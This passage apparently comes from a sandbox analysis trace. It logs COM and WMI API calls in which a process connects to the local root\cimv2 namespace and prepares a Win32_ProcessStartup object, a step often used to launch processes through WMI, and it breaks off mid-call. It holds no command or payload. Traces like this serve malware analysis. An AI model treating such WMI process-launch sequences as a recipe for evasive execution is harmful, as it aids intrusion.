puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.749] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0140.749] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0140.749] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0140.749] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.750] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bcc5120) returned 0x0 [0140.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc5120, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0140.751] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc5120, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bcd90a0) returned 0x0 [0140.751] WbemDefPath:IUnknown:Release (This=0x1bcc5120) returned 0x0 [0140.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bcd90a0) returned 0x0 [0140.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0140.751] WbemDefPath:IUnknown:AddRef (This=0x1bcd90a0) returned 0x3 [0140.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0140.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0140.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bcc5160) returned 0x0 [0140.751] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc5160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.751] WbemDefPath:IUnknown:Release (This=0x1bcc5160) returned 0x3 [0140.751] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0140.752] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0140.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0140.752] WbemDefPath:IUnknown:Release (This=0x1bcd90a0) returned 0x2 [0140.752] WbemDefPath:IUnknown:Release (This=0x1bcd90a0) returned 0x1 [0140.752] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0140.752] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0140.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd90a0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bcd90a0) returned 0x0 [0140.752] WbemDefPath:IUnknown:AddRef (This=0x1bcd90a0) returned 0x3 [0140.752] WbemDefPath:IUnknown:Release (This=0x1bcd90a0) returned 0x2 [0140.752] WbemDefPath:IWbemPath:SetText (This=0x1bcd90a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0140.752] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd90a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0140.752] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd90a0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0140.752] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd90a0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.752] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0140.752] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0140.752] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0140.753] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.753] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bcc5260) returned 0x0 [0140.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5260, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0140.754] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc5260, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bcc5280) returned 0x0 [0140.754] WbemLocator:IUnknown:Release (This=0x1bcc5260) returned 0x0 [0140.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5280, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bcc5280) returned 0x0 [0140.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5280, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0140.754] WbemLocator:IUnknown:AddRef (This=0x1bcc5280) returned 0x3 [0140.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5280, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0140.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5280, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0140.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5280, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0140.754] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0140.754] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0140.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5280, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0140.754] WbemLocator:IUnknown:Release (This=0x1bcc5280) returned 0x2 [0140.754] WbemLocator:IUnknown:Release (This=0x1bcc5280) returned 0x1 [0140.754] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0140.754] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0140.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc5280, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bcc5280) returned 0x0 [0140.754] WbemLocator:IUnknown:AddRef (This=0x1bcc5280) returned 0x3 [0140.755] WbemLocator:IUnknown:Release (This=0x1bcc5280) returned 0x2 [0140.755] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd90a0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0140.755] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd90a0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0140.755] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd90a0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.755] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bcc52a0) returned 0x0 [0140.755] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc52a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bcc7560) returned 0x0 [0140.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc7560, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc435e0) returned 0x0 [0140.943] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc435e0, pProxy=0x1bcc7560, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0140.943] WbemLocator:IUnknown:Release (This=0x1bc435e0) returned 0x1 [0140.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc7560, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc43620) returned 0x0 [0140.943] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc7560, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc435e0) returned 0x0 [0140.944] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc435e0, pProxy=0x1bcc7560, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.944] WbemLocator:IUnknown:Release (This=0x1bc435e0) returned 0x2 [0140.944] WbemLocator:IUnknown:Release (This=0x1bc43620) returned 0x1 [0140.944] CoTaskMemFree (pv=0x1bcc2ef0) [0140.944] WbemLocator:IUnknown:AddRef (This=0x1bcc7560) returned 0x2 [0140.944] WbemLocator:IUnknown:Release (This=0x1bcc52a0) returned 0x0 [0140.945] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0140.945] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0140.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc7560, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc435f0) returned 0x0 [0140.945] WbemLocator:IRpcOptions:Query (in: This=0x1bc435f0, pPrx=0x1bcc5300, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0140.945] WbemLocator:IUnknown:Release (This=0x1bc435f0) returned 0x2 [0140.945] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0140.945] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0140.945] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc7560, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bcc7560) returned 0x0 [0140.945] WbemLocator:IUnknown:Release (This=0x1bcc7560) returned 0x2 [0140.945] SysStringLen (param_1=0x0) returned 0x0 [0140.945] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8fe0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0140.945] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8fe0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0140.946] IWbemServices:GetObject (in: This=0x1bcc7560, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa29650, ppCallResult=0x0) returned 0x0 [0140.947] IWbemClassObject:Get (in: This=0x1aa29650, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0140.947] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0140.948] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0140.948] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0140.948] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0140.948] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0140.948] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.949] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bcc52a0) returned 0x0 [0140.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc52a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0140.950] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc52a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bcd9160) returned 0x0 [0140.950] WbemDefPath:IUnknown:Release (This=0x1bcc52a0) returned 0x0 [0140.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bcd9160) returned 0x0 [0140.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0140.950] WbemDefPath:IUnknown:AddRef (This=0x1bcd9160) returned 0x3 [0140.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0140.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0140.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bcc52c0) returned 0x0 [0140.950] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc52c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.950] WbemDefPath:IUnknown:Release (This=0x1bcc52c0) returned 0x3 [0140.950] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0140.951] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0140.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0140.951] WbemDefPath:IUnknown:Release (This=0x1bcd9160) returned 0x2 [0140.951] WbemDefPath:IUnknown:Release (This=0x1bcd9160) returned 0x1 [0140.951] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0140.951] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0140.951] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9160, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bcd9160) returned 0x0 [0140.951] WbemDefPath:IUnknown:AddRef (This=0x1bcd9160) returned 0x3 [0140.951] WbemDefPath:IUnknown:Release (This=0x1bcd9160) returned 0x2 [0140.951] WbemDefPath:IWbemPath:SetText (This=0x1bcd9160, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0140.951] IWbemClassObject:Get (in: This=0x1aa29650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cece0*=0, plFlavor=0x28cece4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cece0*=19, plFlavor=0x28cece4*=0) returned 0x0 [0140.951] IWbemClassObject:Get (in: This=0x1aa29650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cece0*=19, plFlavor=0x28cece4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cece0*=19, plFlavor=0x28cece4*=0) returned 0x0 [0140.951] IWbemClassObject:Put (This=0x1aa29650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, 